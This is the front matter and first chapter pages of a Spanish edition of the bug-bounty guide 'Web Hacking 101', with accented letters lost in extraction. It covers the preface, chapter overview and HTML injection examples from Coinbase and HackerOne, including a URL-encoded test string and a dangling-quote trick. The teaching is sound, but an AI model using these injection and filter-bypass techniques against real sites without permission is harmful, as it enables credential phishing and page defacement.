You are on page 1of 28

Web Hacking 101 en Espaol - Cmo hacer

dinero hackeando ticamente


Web Hacking 101 en Espaol - Cmo hacer dinero
hackeando ticamente

Peter Yaworski y Edwin A. Cartagena Hernndez


Este libro est a la venta en http://leanpub.com/web-hacking-101-es

Esta versin se public en 2017-05-05

This is a Leanpub book. Leanpub empowers authors and publishers with the Lean Publishing
process. Lean Publishing is the act of publishing an in-progress ebook using lightweight tools and
many iterations to get reader feedback, pivot until you have the right book and build traction once
you do.

2016 - 2017 Peter Yaworski y Edwin A. Cartagena Hernndez


Peter.
A Andrea y Ellie, gracias por apoyarme y ser mi fuente constante de motivacin y confianza. No
solamente pudiera ser que nunca hubiera terminado este libro sin ustedes, sino que mi jornada en el
apasionante mundo del hacking nunca hubiera comenzado.
Al equipo de HackerOne, este libro quizs no sera lo que es si no fuese por ustedes, gracias por todo
su apoyo, por la retroalimentacin y por el trabajo con el que han contribuido a hacer de este libro
ms que un anlisis de 30 vulnerabilidades.
Finalmente, mientras que este libro se vende por una cantidad mnima de $9.99, las ventas en el
precio sugerido de $19.99 o por encima de ste, me ayudan a mantener bajo el precio mnimo, de tal
forma que este libro se mantenga accesible para las personas que no pueden permitirse el lujo de
pagar ms por l. Esas ventas tambin me permiten tomar un tiempo para alejarme de la bsqueda
de vulnerabilidades y estar aadiendo ms contenido para hacer un mejor libro, de tal manera que
todos aprendamos juntos.
Mientras que lo deseo tanto, pudiera nombrar a cada una de las personas que pagaron ms del precio
mnimo (por la edicin en ingls de este libro) para agradecerles, la lista pudiera ser muy larga pero
realmente no conozco ningn detalle de contacto de los compradores a menos que ellos me contacten.
Sin embargo, hay un grupo pequeo quienes pagaron ms del precio sugerido cuando hicieron sus
compras, los cuales fueron ms all de lo esperado. A quienes me gustara reconocerles aqu. Entre
ellos se incluyen:

1. @Ebrietas0
2. Comprador misterioso
3. Comprador misterioso
4. @nahamsec (Ben Sadeghipour)
5. Comprador misterioso
6. @Spam404Online
7. @Danyl0D (Danylo Matviyiv)

Si deberas estar en esta lista, por favor, mndame un mensaje directo en Twitter. A cada uno de
quienes han comprado una copia de este libro, Gracias!
Edwin.
a H Quien me provee herramientas sorprendentes. Atah-HaKol.
A Mara Jos, impresionante mujer fuente de motivacin y quien me da la dosis extra de confianza
para todos mis proyectos. Te Amo.
A mi madre, quien me ha formado y me ha inculcado valores para ser una persona de bien con mis
semejantes. Usted es muy especial.
A Peter Yaworsky, autor de este libro, por su voto de confianza y permitirme formar parte de este
proyecto. Gracias, Pete!
A mis amigos hackers que me han inspirado y de diferentes maneras me han brindado su apoyo en
este apasionante arte de la seguridad informtica. Gracias:

Rodolfo Cecea @roberknight01


Kirlian Zepeda, [DEP]
Stefan Rivera @CiskoSV
ndice general

Prefacio . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 1

Introduccin . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 3

Inyeccin HTML . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 11
Descripcin . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 11
Ejemplos . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 11
Resumen . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 16

Contaminacin de parmetros HTTP . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 17


Descripcin . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 17
Ejemplos . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 18
Resumen . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 23
Prefacio
La mejor forma de aprender algo es simplemente hacindolo. As es como nosotros - Michiel Prins
y Jobert Abma - aprendimos a hackear.
ramos jvenes. Como todos los hackers que estuvieron antes que nosotros, y todos los que
vendrn despus. ramos conducidos por una incontrolable y candente curiosidad por entender
cmo funcionaban las cosas. Mayormente ramos jugadores de vdeo juegos por computadora y
ya por la edad de los 12 aos decidimos aprender por nosotros mismos cmo construir software.
Aprendimos a programar en Visual Basic y PHP con libros de la biblioteca y obviamente con la
prctica.
Con nuestro entendimiento del desarrollo de software, rpidamente descubrimos que esas habilida-
des nos permitieron encontrar los errores de otros desarrolladores. Cambiamos la construccin por
el rompimiento y es as como el hacking ha sido nuestra pasin desde entoces. Para celebrar nuestra
graduacin de la escuela secundaria, tomamos el control de un canal de servicios de televisin abierta
y pusimos un anuncio felicitando a nuestra clase de graduacin. Mientras con el pasar del tiempo
nos divertamos, tambin aprendimos rpidamente que hay consecuencias y que ese no es el tipo
de hackers que el mundo necesita. La estacin de televisin y la escuela no se divirtieron as como
nosotros y fue as que pasamos ese verano limpiando ventanas como parte de nuestro castigo. Ya en
la Universidad, volvimos nuestras habilidades en un negocio de consultora viable, que en su apogeo,
tenamos clientes en el sector pblico y privado en todo el mundo. Nuestra experiencia en el hacking
nos llev hacia HackerOne, una compaa que fundamos en conjunto en 2012. Quisimos permitir a
cada compaa en el universo que trabajara con hackers de forma satisfactoria, y esa idea contina
siendo la misin de HackerOne hoy en da.
Si ests leyendo esto, es porque t tambin tienes la misma curiosidad necesaria para ser un hacker
y cazador de errores. Creemos que este libro ser una tremenda gua a lo largo de tu jornada. El
libro est lleno con una rica cantidad de ejemplos de reportes de vulnerabilidades del mundo real
que resultaron en recompensas reales por encontrar esos fallos. Estos ejemplos estn acompaados
de un anlisis muy til y su respectiva revisin por parte de Pete Yaworsky, quien es el autor y un
colega hacker. l es tu compaero a medida que aprendas, y eso es muy valioso.
Otra razn por la que este libro es muy importante, es que te enfoca en cmo convertirte en un hacker
tico. Dominar el arte del hacking puede ser una habilidad extremadamente poderosa que esperamos
sea usada para el bien. Los hackers ms exitosos saben cmo navegar entre la lnea delgada de lo
correcto y lo incorrecto mientras hackean. Muchas personas pueden romper cosas y an as intentar
hacer dinero fcil haciendo eso. Pero, imagnate hacer la Internet cada vez ms segura, trabajar con
compaas impresionantes alrededor del mundo y que paguen por tus hallazgos. Tu talento tiene el
potencial de mantener seguros a billones de personas juntamente con sus datos. Eso esperamos que
sea a lo que aspires.
Prefacio 2

Estamos agradecidos infinitamente con Pete por tomarse el tiempo para documentar todo esto tan
elocuentemente. Nosotros hubiramos deseado tener un recurso como este cuando iniciamos. Se
disfruta mucho leyendo el libro de Pete porque contiene la informacin necesaria para hacerte
despegar en esta jornada del hacking.
Divirtete leyendo y happy hacking!
Recuerda hackear responsablemente.
Michiel Prins y Jobert Abma Co-Fundadores, HackerOne
Introduccin
Gracias por comprar este libro. Espero que te diviertas mucho leyendo as como yo lo hice
investigando y escribindolo
Web Hacking 101 es mi primer libro, orientado a ayudarte a que inicies en el hacking. Comenc
escribindolo como una publicacin auto explicatoria de 30 vulnerabilidades, un subproducto de mi
propio aprendizaje. Pero rpidamente esto se volvi en mucho ms que eso.
Mi esperanza en este libro es, por lo menos, abrirte los ojos al amplio mundo del hacking, y en el
mejor de los casos, espero que este sea tu primer paso al frente para hacer de la web un lugar ms
seguro mientras ganas dinero haciendo ese trabajo.

Cmo inici todo?


A finales del 2015, tropec con el libro, Somos Anonymous: Al interior del mundo hacker de Lulzsec,
Anonymous y la insurgencia ciberntica global por Parmy Olson, lo termin de leer en una semana.
Al finalizarlo estaba maravillado en saber cmo iniciaron esos hackers.
Estaba sediento por ms, pero no slo quera saber QU hicieron esos hackers, yo quera saber
CMO esos hackers lo lograron. As que continu leyendo. Pero cada vez que finalizaba un libro
nuevo, haba terminado con las mismas preguntas iniciales:

Cmo los hackers aprendieron sobre las vulnerabilidades que encontraron?


Dnde hay personas buscando vulnerabilidades?
Cmo los hackers inician el proceso de hacking en un sitio objetivo?
A caso el Hacking es el uso de herramientas automatizadas?
Cmo puedo iniciar buscando vulnerabilidades?

Pero en esta bsqueda de ms respuestas, segua abriendo ms y ms puertas.


Cerca de ese mismo tiempo, estuve llevando un curso de desarrollo en Android de Coursera, tambin
estaba pendiente de otros cursos muy interesantes. La especializacin en Ciberseguridad de Coursera
capt mi atencin, particularmente el Curso No. 2, Seguridad del Software. Afortunadamente
para mi, ste estaba por iniciar (inici en Febrero de 2016, por esos das estaba anunciado como
Prximamente), as que me inscrib.
Unas cuantas lecturas de introduccin y finalmente entend qu es un desbordamiento de bfer y
cmo puede ser explotado. Comprend completamente cmo se alcanzaban las inyecciones SQL, por
lo que antes slo saba el peligro que representaba. En resumen, estaba muy impactado. Hasta este
momento, siempre me haba aproximado a la seguridad web desde la perspectiva del desarrollador,
Introduccin 4

contemplando la necesidad de sanitizar los valores de entrada y evitar usar directamente la


informacin que proporciona el usuario. Ahora es que estoy comenzando a entender qu es todo
lo que se puede buscar, pero desde la perspectiva de un hacker.
Me mantuve buscando ms informacin sobre cmo hackear y me pas por los foros de ayuda
de Bugcrowd. Desafortunadamente no presentaban mucha actividad en ese tiempo, pero hubo
alguien que mencion el hacktivity de HackerOne y enlazaba a un informe. Al seguir el enlace
me impresion. Estaba leyendo la descripcin de una vulnerabilidad, escrita a una compaa que
consinti en mostrarla pblicamente. Tal vez lo ms importante de eso, es que la compaa le pag
al hacker que encontr la vulnerabilidad y le present el informe!
Eso fue un punto crucial, me obsecion. Especialmente cuando una compaa de origen canadiense,
Shopify, pareca estar liderando las listas de divulgacin en ese tiempo. Al revisar el perfil de Shopify,
la lista de divulgacin estaba repleta de reportes abiertos al pblico. No pude leer lo suficiente
al respecto, pero entre las vulnerabilidades se incluan programacin de script de sitio cruzado
(Cross-Site Scripting, conocido tambin como XSS), fallas de autenticacin y tambin falsificacin
de peticin de sitio cruzado (Cross-Site Request Forgery, conocido tambin como CSRF) por nombrar
solamente algunas.
Lo admito, en ese punto haba tenido problemas para entender lo que se detallaba en los informes.
Algunas de las vulnerabilidades y sus mtodos de explotacin para m fueron difciles de comprender.
Buscando en Google cmo poder entender un informe en particular, termin en un hilo de un
problema de Github por una antigua vulnerabilidad de debilidad de un parmetro predeterminado
de Ruby on Rails (este informe est detallado en el captulo Lgica de la Aplicacin), reportada
por Egor Homakov. Dando seguimiento al trabajo de Egor me condujo a su blog, el cual incluye
divulgaciones de algunas vulnerabilidades que son seriamente complejas.
Leyendo sobre sus experiencias, me puse a pensar que el mundo del hacking se puede beneficiar de
las explicaciones en lenguaje claro de las vulnerabilidades del mundo real. Y entonces me di cuenta
que, aprendo de mejor manera enseando a otros.
Y as fue como naci Web Hacking 101.

Solamente 30 ejemplos y mi primera venta


Decid empezar con una meta simple, encontrar 30 vulnerabilidades web y explicarlas de manera
fcil y en un lenguaje claro para entender.
Me imaginaba, en el peor de los casos, investigar y escribir sobre las vulnerabilidades que me
ayudaron a aprender sobre el hacking. Y en el mejor, que podra vender un milln de copias,
volverme un autopublicador y jubirlarme a temprana edad. Esta ltima tiene que ocurrir y a veces
la primera opcin parace no tener fin.
Alrededor de las las 15 vulnerabilidades explicadas, decid publicar el primer borrador de tal forma
que pudiera ser comprado - la plataforma que eleg, LeanPub (probablemente de donde la mayora
lo ha comprado), esta plataforma permite publicar de forma interactiva, proveyendo a los clientes
Introduccin 5

el acceso a todas las actualizaciones. Envi un tweet agradeciendo a HackerOne y a Shopify por
sus publicaciones y aprovech para decirle al mundo sobre mi libro. Ciertamente, no tena muchas
expectativas.
Pero dentro de unas horas, hice mi primera venta.
Estaba eufrico con la idea que alguien pagara por mi libro (algo que haba creado y que haba
puesto una tonelada de esfuerzo en l), inici sesin en LeanPub para ver qu poda encontrar sobre
el comprador misterioso. No encontr nada. Pero de repente vibr mi telfono celular, haba recibido
un tweet de Michiel Prins diciendo que le gustaba el libro y me pidi que me mantuviera en ese ritmo.
Quin demonios es ese tal Michiel Prins? Revis su perfil de Twitter y todo me dio vueltas, l es uno
de los Co-Fundadores de HackerOne. Mierda! Una parte de m pensaba que HackerOne no podra
estar impresionado con mi confianza en su sitio para ponerlo en el contenido. Pero intent tener una
actitud positiva y Michiel pareca ser de gran apoyo al pedirme que me mantuviera en este ritmo,
as que esto pareca ser inofensivo.
No mucho despus de la primera venta, recib una segunda venta y pens que algo estaba pasando.
Coincidentemente, cerca del mismo tiempo, recib una notificacin de Quora sobre una pregunta en
la que probablemente podra estar interesado, Cmo me volv en un exitoso cazador de recompensas
por encontrar errores?
Esto significaba compartir mi experiencia cmo haba iniciado, sabiendo lo que era estar en estos
zapatos, y tambin quera hacerlo con el propsito personal de promover mi libro. Pens que poda
escribir una respuesta. A mitad del camino, me di cuenta que la nica otra respuesta que estaba
haba sido escrita por Jobert Abma, otro de los Co-Fundadores de HackerOne. Una voz con mucha
autoridad en el mundo del hacking. Mierda, otra vez!
Contempl abandonar mi respuesta, pero mejor decid reescribirla basndome en su respuesta, ya
que no podra competir con sus consejos. Presion el botn de enviar y ya no pens en nada. Pero
despus recib un correo interesante:

Hola Peter, vi tu respuesta en Quora y me doy cuenta que ests escribiendo un libro
sobre hacking de sombrero blanco. Me gustara saber ms.
Saludos cordiales,
Marten CEO, HackerOne

Triple mierda! En este punto, muchas cosas corran por mi mente, ninguna de ellas era positiva y
ciertamente muchas eran irracionales. En resumen, me imagin que por la nica razn que Marten
podra escribirme era para dejar caer el martillo sobre mi libro. Tengo que agradecer que eso no
pudo haber sido ms all de la realidad.
Le respond explicndole quien era yo y qu es lo que estaba haciendo - que estaba intentando
aprender a hackear y ayudar a otros que aprendan conmigo. Por su parte, l vino a ser un gran
seguidor de la idea. Me explic que HackerOne est interesado en que crezca la comunidad y en
ayudar a que los hackers aprendan como un tipo de beneficio mutuo para cada uno de los que estn
Introduccin 6

involucrados. Resumiendo, l se ofreci a ayudar. Y como un hombre de palabra, lo ha cumplido.


Probablemente, este libro no estara donde se encuentra hoy en da, ni incluira tan siquiera la mitad
del contenido que tiene sin la motivacin constante y gran ayuda por parte de l y de HackerOne.
Desde ese correo inicial, me mantuve escribiendo y Marten lo estuvo aprobando. Michiel y
Jobert revisaban los escritos preliminares, proveyendo sugerencias y an contribuyendo en algunas
secciones. Incluso, Marten trascendi y fue ms all en este esfuerzo al cubrir los costos de un diseo
profesional de la portada (eso fue un adis a aquella portada plana de color amarillo con un sombrero
de brujas de color blanco, lo cual pareca que haba sido diseado por un nio de cuatro aos). En
Mayo de 2016, Adam Bacchus se uni a HackerOne y en su quinto da de trabajo all, ley el libro,
proporcion ediciones y estuvo explicando lo que sera estar en el lado de la recepcin de un informe
de vulnerabilidad. Algo que ya he incluido en el captulo Escritura de informes.
Menciono todo esto porque en toda esta jornada HackerOne nunca ha pedido que se le retribuya
algo. Ellos solamente han querido apoyar la comunidad y han visto en este libro una buena manera
de hacerlo. As como con algunos que puedan ser nuevos en la comunidad hacker, lo que reson en
m espero que as sea con usted tambin. Personalmente prefiero ser parte de una comunidad
que apoya y es inclusiva.
As que desde entonces, este libro se ha expandido dramticamente, mucho ms all de lo que
inicialmente hubiese visionado. Y con eso, la audiencia quien es el objetivo tambin ha cambiado.

Para quien est escrito este libro


Este libro ha sido escrito teniendo en mente a los nuevos hackers. Pero eso no importa si t eres un
desarrollador o un diseador web, si todava te encuentras viviendo en casa de tu madre, si eres un
nio de 10 aos o uno de 75. Quiero que este libro sea una referencia de autoridad en el entendimiento
de los diferentes tipos de vulnerabilidades, cmo encontrarlas, cmo reportarlas, cmo ser pagado
por esa tarea y todava an, cmo escribir cdigo defensivo.
Dicho eso, no escribo este libro para predicarle a las masas. Realmente, este es un libro para que
aprendamos juntos. De esa manera yo comparto xitos Y tambin algunos de mis ms notables (y
embarazosos) errores.
Tampoco significa que este libro tiene que ser ledo en orden desde la portada hasta la ltima
pgina, si hay alguna seccin en particular en la que ests interesado, ve y lela primero. En algunas
ocasiones, hago referencia a secciones que se han discutido previamente, pero al hacer eso intento
conectar las secciones de tal forma que tambin puedas hojear el libro de atrs para adelante. Quiero
que este libro sea algo que te mantenga atento mientras te enuentres hackeando.
Una anotacin, cada tipo de vulnerabilidad es un captulo y est estructurado de la misma manera:

Comienza con una descripcin del tipo de vulnerabilidad;


Revisin de ejemplos de la vulnerabilidad; y,
Concluye con un resumen.
Introduccin 7

Por lo consiguiente, cada ejemplo dentro de esos captulos est estructurado de la misma manera e
incluye:

Mi estimacin de la dificultad para encontrar la vulnerabilidad


La direccin url asociada donde la vulnerabilidad fue encontrada
Un enlace hacia el informe o la descripcin paso a paso de la vulnerabilidad
La fecha en que la vulnerabilidad fue reportada
La cantidad que pagaron por haberla reportado
Una descripcin fcil de entender de la vulnerabilidad
Recomendaciones que puedes aplicar en tus propios esfuerzos

Finalmente, aunque lo que sigue no es un prerequisito en el mundo del hacking, probablemente


es una buena idea tener alguna familiarizacin con HTML, CSS, Javascript y tal vez un poco de
programacin. Eso no quiere decir que debes ser capaz de poner enlazadas en conjunto un montn
de pginas web as de la nada, no, saca eso de tu cabeza! Lo bueno es tener un entendimiento bsico
de la estructura de una pgina web, cmo las hojas de estilo en cascada (CSS) dan el sentimiento
y apariencia en una pgina web, as tambin que entiendas lo que puedes lograr por medio de
Javascript. Eso te ayudar a descubrir vulnerabilidades y entender la severidad de lo que eso implica.
Tener conocimienos de programacin es muy til cuando ests buscando vulnerabilidades en la
lgica de la programacin. Si t mismo puedes ponerte en los zapatos de los programadores para
adivinar cmo ellos pudieron haber implementado algo o leer su cdigo si es que est disponible,
eso te permitir estar a la cabeza del juego.
As que, entre las cosas por hacer, recomiendo revisar los siguientes cursos gratuitos y en lnea
de Udacity Introduccin a HTML y CSS y Las bases de Javacript. Los enlaces a esos cursos
los he incluido en el captulo Recursos. Si no ests familiarizado con Udacity tu misin es venir
a ser accesible, asequible, comprometiente y ser altamente efectivo con la educacin de alto nivel
disponible para el mundo. Ellos se han asociado con compaas como Google, AT&T, Facebook,
Salesforce, etc. para crear programas de estudio y ofrecer cursos en lnea.

Un vistazo a cada captulo


Captulo 2 es una introduccin al trasfondo de cmo funciona la Internet, incluyendo las peticiones
y respuestas de los mtodos HTTP.
Captulo 3 cubre el tema de las Redirecciones Abiertas. Una vulnerabilidad interesante la cual
envuelve la explotacin de un sitio y dirigir a los usuarios a que visiten otro sitio, el cual le permitir
al atacante explotar la confianza que tienen las vctimas en el sitio vulnerable.
Captulo 4 cubre la contaminacin de parmetros HTTP. En este captulo aprendrs cmo encontrar
sistemas que pueden ser vulnerables a que se pasen de largo entradas inseguras a sitios de terceros.
Captulo 5 cubre las vulnerabilidades de falsificacin de peticin de sitio cruzado (CSRF), llevndote
a travs de ejemplos de cmo los usuarios pueden ser engaados al enviar informacin a un sitio
Introduccin 8

en el que ellos estn logueados, con la diferencia que ellos no saben que lo estn haciendo sin su
consentimiento.
Captulo 6 cubre lo relacionado a las inyecciones HTML. En este captulo aprenders como poder
inyectar HTML en una pgina web y que pueda ser utilizado de forma maliciosa. Una de las
recomendaciones finales ms interesantes es cmo puedes utilizar valores codificados para engaar
a los sitios que acepten y muestren en pantalla el HTML que envas, an traspasando filtros.
Captulo 7 cubre las inyecciones de Retorno de Carro y Alimentacin de Lnea (CRLF). En l vers
ejemplos de envo del caracter retorno de carro y rompimiento de lneas as como el impacto que
esto hace en el renderizado del contenido de un sitio.
Captulo 8 cubre la vulnerabilidad de programacin de script de sitio cruzado (XSS), un tema de
categora masiva con una variedad enorme de formas de cmo poder explotarlo. XSS representa
oportunidades enormes tanto as que, probablemente, podra escribirse un libro entero tratando
solamente este tema. Hay una tonelada de ejemplos que podra haber incluido, pero intentar
enfocarme en los ms interesantes y tiles para el aprendizaje.
Chapter 9 cubre la Inteccin de Plantillas del Lado del Servidor, como tambin las inyecciones del
lado del cliente. Estos tipos de vulnerabilidades se aprovechan de los desarrolladores inyectando
la entrada del usuario directamente en las plantillas cuando la informacin se enva utilizando la
sintaxis de la plantilla. El impacto de estas vulnerabilidades depende de dnde se produzcan, pero a
menudo pueden conducir a ejecuciones de cdigo remotas.
Captulo 10 cubre las inyecciones de cdigo de Lenguaje de Consulta Escrtucturada (SQL), lo cual
implica la manipulacin de la base de datos para extraer, actualizar o borrar informacin de un sitio.
Captulo 11 cubre la falsificacin de peticin del lado del servidor, la cual permite a un atacante
usar un servidor remoto para hacer peticiones HTTP subsecuentes a nombre del atacante.
Captulo 12 cubre las vulnerabilidades relacionadas a las Entidades Externas de XML (XXE), lo que
resulta del anlisis del lenguaje de marcado extensible (XML). Este tipo de vulnerabilidades puede
incluir cosas como lectura de ficheros privados, ejecucin remota de cdigo, etc.
Captulo 13 cubre la Ejecucin Remota de Cdigo o la capacidad que tiene un atacante de ejecutar
cdigo arbitrario sobre un Servidor vctima. Este tipo de vulnerabilidad se encuentra entre las
ms peligrosas ya que un atacante puede controlar qu codigo se ejecutar y, usualmente, esta
vulnerabilidad es muy bien recompensada como tal.
Captulo 14 cubre vulnerabilidades relacionadas a la memoria. Un tipo de vulnerabilidad as se
puede pensar en que su hallazgo est tpicamente relacionado a la programacin con lenguajes de
bajo nivel. No obstante, descubrir este tipo de fallos puede conllevar a otras vulnerabilidades muy
serias.
Captulo 15 cubre la toma de control de subdominios. Algo en lo que aprend mucho investigando
para ponerlo en este libro y que debe ser extensamente acreditado a Mathias, Frans y al equipo
de Detectify. Esencialmente, se trata de un sitio que tiene un subdominio enlazado a un servicio
que est a cargo de terceros, pero el sitio principal nunca reclama la direccin de ese servicio. Esto
podra permitir a un atacante registrar la direccin del servicio a cargo de ese proveedor externo
Introduccin 9

de tal forma que todo el trfico que se cree que viene del dominio original (vctima), actualmente
proviene del atacante.
Captulo 16 cubre las Condiciones de Carrera, una vulnerabilidad que implica dos o ms procesos
que realizan acciones basadas en condiciones que slo deben permitir que se produzca una sola
accin. Por ejemplo, piensa en las transferencias bancarias, no debera ser capaz de realizar dos
transferencias de $500 cuando su saldo es de slo $500. Sin embargo, una vulnerabilidad de Condicin
de Carrera permitira hacerlo.
Captulo 17 cubre las vulnerabilidades de Referencia de Objeto Directo Inseguro, mediante las cuales
un atacante puede leer o actualizar objetos (registros de base de datos, archivos, etc.) a los cuales no
deben tener permiso.
Captulo 18 cubre vulnerabilidades basadas en la Lgica de la Aplicacin. Este captulo ha crecido
tanto que atrapa a todas las dems vulnerabilidades, por lo que considero que est enlazado a las
fallas lgicas de programacin. He concluido que este tipo de vulnerabilidad podra ser fcil de
encontrar para un principiante en vez de estar buscando formas raras y creativas de enviar entradas
maliciosas a un sitio.
Captulo 19 cubre el tema de cmo iniciarse en el hacking. Este captulo est pensado para ayudarte
a considerar dnde y cmo buscar vulnerabilidades, lo que es totalmente opuesto a una gua paso
a paso para poder hackear un sitio. Este captulo est basado en mi experiencia y como abordo un
sitio.
Captulo 20 est en discusin que sea uno de los captulos ms importantes del libro, ya que provee
consejos para escribir informes de forma efectiva. Todo el mejor hacking del mundo no significa
nada si no se puede informar apropiadamente del problema a la compaa afectada. Como tal, he
remarcado algunas compaas de gran nombre que pagan recompensas muy generosas debido a los
reportes que les fueron entregados y que fueron asesorados por HackerOne. Asegrate de poner
mucha atencin a este captulo.
Captulo 21 cambian los engranajes. Aqu profundizamos en las herramientas de hacking recomen-
dadas. Este captulo fue completamente donado por Michiel Prins de HackerOne. Desde entonces
esta lista ha crecido y se ha convertido en un listado de herramientas tiles que he encontrado
y utilizado. Sin embargo, a pesar de las herramientas, no hay nada que reemplace la observacin
cuidadosa y el pensamiento creativo.
Captulo 22 est dedicado a ayudarte a que lleves tu hacking al siguiente nivel. Aqu te llevar a
travs de algunos recursos impresionantes para continuar aprendiendo. Nuevamente, tomando el
riesgo que esto pueda sonar como un disco rayado, un gran agradecimiento a Michiel Prins por
contribuir a esta lista.
Captulo 23 concluye el libro y destapa algunos conceptos claves que deberas conocer mientras
hackeas. Dado que la mayora de trminos han sido discutidos en los otros captulos, algunos que
estn aqu no lo fueron. As que te recomendara tomar una lectura por aqu.
Introduccin 10

Una palabra de advertencia y un favor


Antes que te alistes dentro del impresionante mundo del hacking, quiero aclarar algo. As como
aprend leyendo informes de vulnerabilidades que se haban hecho pblicas, viendo todo el dinero
que la gente estaba (y todava sigue) haciendo, podra ser fcil idealizar ese proceso y pensar que
esto es un camino fcil para volverse rico de una forma rpida.
Pues, no lo es.
El hacking puede ser extremadamente recompensante, pero es difcil encontrar y leer las fallas en
todo el camino (excepto aqu donde comparto algunas historias muy embarazosas). Como resultado,
ya que mayormente escuchas del xito de las personas, podras desarrollar expectativas de xito
fuera de la realidad. Pero tambin puedes volverte exitoso rpidamente. Pero si no lo ests teniendo,
mantente trabajando! Eso har que se te haga ms fcil y produce una gran satisfaccin tener un
informe resuelto.
Teniendo eso claro, tengo un favor que pedirte. As como lo has ledo, por favor envame un mensaje
en Twitter a @yaworsk1 y permteme saber cmo te est yendo. Ya sea de forma exitosa o no, me
gustara saber de ti. La cacera de errores podra ser un trabajo solitario si t ests luchando en
solitario, pero tambin es maravilloso poder celebrarlo unos con otros. Y tal vez tu hallazgo sea algo
que podemos incluir en la siguiente edicin.
Buena suerte!!
1
https://twitter.com/yaworsk
Inyeccin HTML
Descripcin
la inyeccin de Lenguaje de Marcado de Hipertexto (HTML) a veces tambin es conocida como una
desfiguracin virtual de una pgina. Realmente este es un ataque hecho posible por un sitio que
permite que un usuario mal intencionado inyecte marcas HTML dentro de su(s) pgina(s) web, y
esto es porque no maneja apropiadamente las entradas de datos del usuario. Dicho de otra forma,
una vulnerabilidad de inyeccin HTML es causada por recibir etiquetas HTML, tpicamente por la
va de un formulario de entrada, cuyo contenido es renderizado de forma literal dentro de la pgina.
Hay que hacer notar que esto es totalmente aparte de inyectar cdigo Javascript, VBscript, etc
Debido a que HTML es el lenguaje utilizado para definir la estructura de una pgina web, si un
atacante puede inyectar marcas HTML podr cambiar lo que se mostrar en el navegador. Algunas
veces esto puede resultar en un cambio de apariencia total de la pgina, o en otros casos, la creacin
de formularios para engaar a los usuarios. Por ejemplo, si t pudieras inyectar HTML, y estuvieras
habilitado para agregar una etiqueta <form> en esa pgina para preguntarle a un usuario que
reingrese el nombre con que se registra y su contrasea. Entonces, al enviar ese formulario, lo que
realmente se estara haciendo es enviar la informacin a un atacante.

Ejemplos

1. Comentarios en Coinbase
Dificultad: Baja
URL: coinbase.com/apps
Enlace del informe: https://hackerone.com/reports/1045432
Fecha del informe: 10 de Diciembre, 2015
Recompensa recibida: $200
Descripcin:
Para esta vulnerabilidad, el hacker identific que en Coinbase estaba decodificando valores URI
estaban codificados cuando renderizaba el texto. Para aquellos que no estn familiarizados (as
como yo al momento de escribir esto), los caracteres en una URI pueden ser ya sea reservados o
2
https://hackerone.com/reports/104543
Inyeccin HTML 12

no reservados. De acuerdo a Wikipedia, los caracteres reservados son los que a veces tienen un
significado especial, tal como / y &. Los caracteres no reservados son aquellos que no tienen un
significado en especial, los cuales son, tpicamente, las letras.
Entonces, cuando un caracter est codificado en la URI, ste es convertido a su valor de byte en el
Cdigo Estndar Americano para el Intercambio de Informacin (ASCII), y est precedido con el
signo de porcentaje (%). Entonces, / se convierte en %2F, & se convierte en %26. Como una resea,
ASCII es un tipo de codificacin que era el ms comn en Internet hasta que lleg UTF-8, el cual es
otro tipo de codificacin.
Ahora, de regreso a nuestro ejemplo, si un atacante ingresara un cdigo HTML como el siguiente:

1 <h1>Esta es una prueba</h1>

En ese momento, Coinbase poda renderizar el cdigo como texto plano, exactamente como lo acabas
de ver. Sin embargo, si el usuario hubiera enviado caracteres codificados por URL, as como estos:

1 %3C%68%31%3E%45%73%74%61%20%65%73%20%75%6E%61%20%70%72%75%65%62%61%3C%2F%68%31%3E

Coinbase pudo decodificarlos y renderizar la salida con las letras correspondientes:

Esta es una prueba

Ya con esto, el hacker que report la vulnerabilidad demostr como pudo haber enviado un
formulario HTML con los campos respectivos para solicitar nombre de usuario y contrasea, los
cuales el sitio de Coinbase los poda mostrar. El hacker tuvo que haber sido ingenioso, para hacer
que Coinbase pudiera haber renderizado un formulario cuyos valores pudieron haber sido enviados
a un sitio malicioso y haber capturado credenciales (mientras que las personas asuman que llenaban
un formulario de la empresa)

Recomendaciones
Cuando te encuentres evaluando un sitio, revisa cmo maneja los diferentes tipos de
entrada, incluyendo texto plano y texto codificado. Sigue en la bsqueda de sitios que
acepten valores codificados por URI y que muestren valores como %2F adems de mostrar
por pantalla sus valores decodificados, para este caso /. Mientras no sepamos lo que el
hacker estaba pensando en este ejemplo, es posible que intentaran codificar en la URI
caracteres restringidos y fijarse cmo Coibase los estaba decodificando. El hacker fue un
paso por delante y codific por URI todos los caracteres.
Un magnfico codificador es http://quick-encoder.com/url. Has de notar que al usarlo te
dir que los caracteres no restringidos no necesitan codificacin y aun as te dar la opcin
de codificar tu cadena de forma url-segura. Tienes que hacerlo de esa manera porque as
obtendrs la misma cadena codificada que se utiliz sobre el sitio de Coinbase.
Inyeccin HTML 13

2. Inclusin no intencional de HTML en HackerOne


Dificultad: Media
URL: hackerone.com
Enlace del informe: https://hackerone.com/reports/1129353
Fecha del informe: 26 de Enero, 2016
Recompensa recibida: $500
Descripcin:
Despus de leer sobre la vulnerabilidad XSS en Yahoo! (ejemplo 4 del Captulo 7) me vine a poner
obsesionado con las pruebas de renderizado HTML en editores de texto. Esto inclua ponerme a
jugar con el editor de texto Markdown de HackerOne, escribiendo cosas como ismap= yyy=xxx
y test dentro de las etiquetas de imgenes. Mientras lo haca, me fij que el editor poda incluir
una comilla simple dentro de una comilla doble - lo que es conocido como colgando una comilla.
En ese momento no comprenda realmente las implicaciones que pudiera tener. Lo que s saba es
que si inyectaba otra comilla simple en algn otro lugar, ambas podran ser analizadas en conjunto
por un navegador, en el cual podra ver el contenido encerrado entre ellas como un elemento HTML.
Por ejemplo:

1 <h1>Esta es una prueba</h1><p class="alguna clase">algn contenido</p>'

